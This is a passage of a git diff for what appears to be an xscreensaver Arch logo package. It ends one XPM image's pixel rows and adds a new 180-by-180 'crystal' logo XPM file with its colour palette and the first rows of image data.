###)!!!!)))*+++$=============================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+++***#;;;;;)))))))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$=============================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+*################;;)))!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$============================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*#######################;!!!);;;)!!!)#### ", +" ###)!!!!)))*+++$===========================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+*###########################;));;;)!!!)#### ", +" ###)!!!!)))*+++$==========================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*#########;;))!!!!!));;#########;;;;)!!!)#### ", +" ###)!!!!)))*+++$==========================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+#######;)!!!!!!!!!!!!!!!!);#######;;;)!!!)#### ", +" ###)!!!!)))*+++$=========================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*######;)!!!!!!!!!!!!!!!!!!!!!);######;)!!!)#### ", +" ###)!!!!)))*+++$========================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$######;!!!!!!!!!!!!!!!!!!!!!!!!!!)######;!!!)#### ", +" ###)!!!!)))*+++$=======================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+######)!!!!!!!!!!!))))))))!!!!!!!!!!;#####;!!)#### ", +" ###)!!!!)))*+++$======================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+#####;!!!!!!!!!))))))))))))))))!!!!!!!)#####;!)#### ", +" ###)!!!!)))*+++$=====================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####;!!!!!!!)))))))))))))))))))))!!!!!!)#####;)#### ", +" ###)!!!!)))*+++$=====================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####)!!!!!!)))))))))))))))))))))))))!!!!!);####;#### ", +" ###)!!!!)))*+++$====================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*####;!!!!!!))))))))!!!!!!!!!)))))))))))!!!!)######### ", +" ###)!!!!)))*+++$===================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+####;!!!!!)))))))!!!!!!!!!!!!!!))))))))))!!!!)######## ", +" ###)!!!!)))*+++$===================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####;!!!!!)))))))!!!!!!!!!!!!!!!!!)))))))))!!!!;####### ", +" ###)!!!!)))*+++$==================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*####!!!!!))))))!!!!!!!!!)))))!!!!!!)))))))))))));###### ", +" ###)!!!!)))*+++$=================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+####)!!!!))))))!!!))));#######;;)!!!!)))))))))))))###### ", +" ###;!!!!)))*+++$================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####;!!!!!)))))))))));############;)!!)))))))))))));##### ", +" ###;!!!!)))*+++$================$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+####)!!!!)))))))))))###############;))))))))))))))))##### ", +" ###;!!!!)))*+++$===============$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####;!!!!))))))))));#######***;;######;))))))))))))));#### ", +" ###;!!!!)))*+++$==============$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)!!!!)))))))));#####*+$$$$)));#####;)))))))))))));##### ", +" ###;!!!!)))*+++$==============$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*###;!!!!))))))))))#####+$$$$$$)))));####;))))))))))));;#### ", +" ###;!!!!)))*+++$=============$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)!!!))))))))));####$$$$$$$$))))));####;)))))))))));;##### ", +" ###;!!!!)))*+++$============$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;!!!!)))))))));####$$$$$$$$$)))))));####)))))))))));;;#### ", +" ###;!!!!)))*+++$$===$===$$$=$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)!!!)))))))));####+$$$$$$$$$))))))))####;))))))))));;;##### ", +" ###;!!!!)))*+++$$====$=$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)!!!)))))))));###+$$$$$$$$$$))))))));####)))))))))));;;#### ", +" ###;!!!!)))*+++$$=$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;!!!)))))))));####$$$$$$$$$$$)))))))));###;))))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*###)))))))))))));###+$$$$$$$$$$$))))))))))####))))))))));;;##### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####))))))))))));####$$$$$$$$$$$$))))))))));###;))))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;)))))))))));;###+$$$$$$$$$$$$)))))))))))####))))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*###;))))))))));;####$$$$$$$$$$$$$)))))))))));###;)))))))));;;##### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)))))))))));;###*$$$$$$$$$$$$$))!!)))))));###;))))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####))))))))));;;###+$$$$$$$$$$$$$))!!))))))))####))))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;))))))));;;;####$$$$$$$$$$$$$$)!!!))))))));###;)))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;))))))));;;;####$$$$$$$$$$$$$$)!!!))))))));###;)))))))));;;##### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*###;))))))));;;;###*$$$$$$$$$$$$$$!!!!)))))))))####))))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####))))))));;;;####+$$$$$$$$$$$$$$!!!!))))))))!####))))))))));;;#### ", +" ###;!!!!)))*+++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####))))))));;;;####+$$$$$$$$$$$$$$!!!!))))))))!;###;)))))))));;;#### ", +" ###;!!!!)))**++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)))))));;;;;####$$$$$$$$$$$$$$$!!!!))))))))!;###;))))))))));;#### ", +" ###;!!!!)))**++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;)))))));;;;;####$$$$$$$$$$$$$$$!!!!))))))))!;###;))))))))));;##### ", +" ###;!!!!)))**++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;))))));;;;;;####$$$$$$$$$$$$$$$!!!!))))''----@@@@&@@@@@@@@@&--@### ", +" ###;!!!!)))**++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;))))));;;;;;###*$$$$$$$$$$$$+*#--&&%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" ###;!!!!)))**++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+###;)))));;;;;;####*$$$$+*##-&@%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" ###;!!!!)))**++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*###;)))));;;;;;#######&%%%%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" ###;!!!!)))**++$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*###;)))));;;;;-@@%%%%%%%%%%%%%%%%%%%%%%&&---'''''''!!!!!!!!'''''--&&@@@@@@@@@@@@@@ ", +" ###;!!!!)))***+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)))));-&&%%%%%%%%%%%%%%%%%%&&-''''!!!!!!!!!!!!!!!!!!!!!!'''''''''''-&&@@@@@@@@@ ", +" ###;!!!!)))***+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####)'-&%%%%%%%%%%%%%%%%%&-'''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''--&@@@@@@ ", +" ###;!!!!)))***+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$##-%%%%%%%%%%%%%%%%&,''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''--@@@@ ", +" ###;!!!!)))***+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#-%%%%%%%%%%%%%%,''!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''',,,,,,'!!---'''''''''''''&@@@ ", +" ###;!!!!)));**+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+#&%%%%%%%%%%%%&''!!!!!!!!!!!!!!!!!!!!''''''',,,,,,,,,,,,,,,,,,,,'!!!'&&&&&--''''''''-@@@ ", +" ###;!!!!)))***+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$+&%%%%%%%%%%%,''!!!!!!!!!!!!!!!!!''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&--''''-@@@ ", +" ###;!!!!)))***+$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$-%%%%%%%%>,'!!!!!!!!!!!!!!!'''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!)))****$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&%%%%%>'!!!!!!!!!!!!!!''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!)));*******************$$$$$$$$$$$$$$$$$$$$&%%%,!!!!!!!!!!!!!'',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!)));***************************************&%%%'!!!!!!!!!'',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!)));*************************************;;%%%%!!!!!!'',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!)));*******************************;;;;;;;;%%%%!!!!',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!))))))))))))))))))))))))))))));;;;;;;;;;;;;%%%%!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!)))))))))))))))))))))))))))))))))))))))))))%%%%!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!)))))))))))))))))))))))))))))))))))))))))))%%%%!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!!!!!!!!))))))))))))))))))))))))))))))))))))%%%%!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))))))))%%%%!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))%%%%!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>%%%!!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ####;;;))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>%%%'!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ##############;;;;;;))))))!!!!!!!!!!!!!!!!!!!!!!!!!>%%%'!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###########################;;;;;;))))))!!!!!!!!!!!!>%%%'!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ########################################;;;;;;)))))%%%%'!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ###############################################%%%%'!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'''-@@@ ", +" ##################################%%%%'!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-''--@@@ ", +" #####################%%%%'!!!,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-'---@@@ ", +" #########%%%%'!!!,,,,,,,,,,,,,,,,,----,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-----@@@ ", +" %%%%'!!!,,,,,,,,,,,,,,,-----##-,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&-----@@@ ", +" %%%%'!!!,,,,,,,,,,,,,,----##...#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,,,,,,,----......-,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,,,,,,----#.......>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!!'&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,,,,,,---#........@>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,,,'!!'&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,,,,,--@@..........>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,,,,,&@@@..........>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,,,>>@@@@..........>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,,>>>@@@@..........&>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,,,,,,>>>>@@@@..........&>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',,,>>>>>>>>>@@@@..........&>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',>>>>>>>>>>>@@@@..........>>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',>>>>>>>>>>>@@@@..........>>>>>>>>>>>>>>>>>>>>,,,,,,,,,,,,,,''''&&&&&&&&&&&----&@@@ ", +" %%%%'''',>>>>>>>>>>>&@@@.........@>>>>>>>>>>>>>>>>>>>>,>>,,,,,,,,,,,'''-&&&&&&&&&&&----&@@@ ", +" ###%%%%'''',>>>>>>>>>>>>@@@.........&>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,>>,,'''-&&&&&&&&&&&----&@@@ ", +" ############%%%%'''',>>>>>>>>>>>>@@@#........>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,>>,,'''-&&&&&&&&&&&----&@@@ ", +" ######################%%%%'''',>>>>>>>>>>>>>@@@.......&>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&----&@@@ ", +" ############################;;;)%%%%'''',>>>>>>>>>>>>>&@@......@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ###########################;;;;;)))))))))%%%%''''>>>>>>>>>>>>>>>&@@....@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" #####################;;;;))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>>&@@..#>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ##########;;;;)))))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>>&@@...>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ###;;))))))))))))))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>>@@@...>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ##;!!))))))))))))))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>>@@@...>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ##;!!!!))))))))))))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>>@@@...&>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ##)!!!!!!))))))))))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>&@@@...@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ##;!!!!!!!!))))))))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>&@@....@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ###;!!!!!!!!!!)))))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>&@@.....>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ####;!!!!!!!!!!!!))))))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>@@@.....>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ####)!!!!!!!!!!!!!)))))))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>@@@.....&>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ####;!!!!!!!!!!!!!!!!)))))))))))))))))))))%%%%''''>>>>>>>>>>>>>>>@@@.....@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" #####)!!!!!!!!!!!!!!!!!!!!)))))))))))))))%%%%''''>>>>>>>>>>>>>>&@@@.....@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" #####)!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))%%%%''''>>>>>>>>>>>>>>&@@@......>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ######;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>%%%''''>>>>>>>>>>>>>>&@@.......>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" ######;)!!!!!!!!!!!!!!!!!!!!!!!!!!!!>%%%''''>>>>>>>>>>>>>>@@@.......>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,'''-&&&&&&&&&&&&---&@@@ ", +" #######;))!!!!!!!!!!!!!!!!!!!!!!!!>%%%,''',>>>>>>>>>>>>>@@@.......&>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,''',&&&&&&&&&&&&---&@@@ ", +" #########;))!!!!!!!!!!!!!!!!!!!!>%%%,''''',,>>>>>>>>>>@@@.......@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,''',&&&&&&&&&&&&---&@@@ ", +" ###########;;))!!!!!!!!!!!!!!>%%%,'''''''',,>>>>>>>>>&@......@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,-'',&&&&&&&&&&&&---&@@@ ", +" ###############;;;;)))))!!>%%%>,'''''',,,,,,,>>>>>>>>>>@@.@>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,---,&&&&&&&&&&&&---&@@@ ", +" #####################%%%%%%%>,',,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,----&&&&&&&&&&&&---&@@@ ", +" ################&%%%%%%%%%>,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,----&&&&&&&&&&&----&@@@ ", +" ######&%%%%%%%%%%%>,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>,----&&&&&&&&-------@@@@ ", +" %%%%%%%%%%%%%>,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>>>>>>>>>,----&&&&&&--------&@@@@ ", +" %%%%%%%%%%%%%%%>,,,,,,,,,,,,,,,,,,,,,,,,,,>>>>>>>>>>>>>>>>>>,--'-&&-----------&&@@@@ ", +" %%%%%%%%%%%%%%%%%>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''-,---------&&&@@@@@@ ", +" %%%%%%%%%%%%%%%%%%%>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''-,,------&&&@@@@@@@@ ", +" %%%%%%%%%%%%%%%%%%%%%%&&&,,,,,,,,,,,,,,,,,,,,,,,,,'''-,,-&&&&@@@@@@@@@@@ ", +" %%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&,,,,,,,,,,,,,''',&&&@@@@@@@@@@@@@ ", +" %%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@%%%%&&&&&&@@@@@@@@@@@@@@@@ ", +" %%%%%%%%%%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" %%%%%%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@ ", +" @@@@@@@@@@@@@@@@@@@@@ ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal.xpm new file mode 100644 index 0000000..bc034b5 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_crystal_xpm[] = { +"180 180 17 1", +" c None", +". c #000B6A", +"+ c #062C94", +"@ c #522B49", +"# c #FD0000", +"$ c #35347D", +"% c #0940B1", +"& c #A02E3C", +"* c #535392", +"= c #736E97", +"- c #FE6B00", +"; c #8A8CB6", +"> c #B1A784", +", c #B3B5B2", +"' c #CED0CD", +") c #F7FA0D", +"! c #E7E9E6", +" ", +" ,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,, ", +" ,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!, ", +" ,'!!'''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''!!', ", +" ,!',,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,'!, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,, ", +" ,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,, ", +" ,,,,,,,,,'!!!!!!!!!!''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''!!!!!!!!!!',,,,,,,,, ", +" ,,,,,,,,'!';;;;;;;;;;;;;;;;;;;;==============================================================================================================;;;;;;;;;;;;;;;;;;;;'!',,,,,,,, ", +" ,,,,,,,,!!........................................................................................................................................................!!,,,,,,,, ", +" ,,,,,,,,!'........................................................................................................................................................'!,,,,,,,, ", +" ,,,,,,,,!'...*******************************************************************************************************$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...'!,,,,,,,, ", +" ,,,,,,,,!'..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==========================***********************************...'!,,,,,,,, ", +" ,,,,,,,,!'..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==========================************************************...'!,,,,,,,, ", +" ,,,,,,,,!'..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;===========================*************************************...'!,,,,,,,, ", +" ,,,,,,,,!'..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================**************************************...'!,,,,,,,, ", +" ,,,,,,,,''..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================***************************************...'',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================****************************************$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==&&&##########&&&=======================****************************************$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=&&######################&@================*****************************************$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=&##############################&============*****************************************$$$$...,',,,,,,,, ", +" 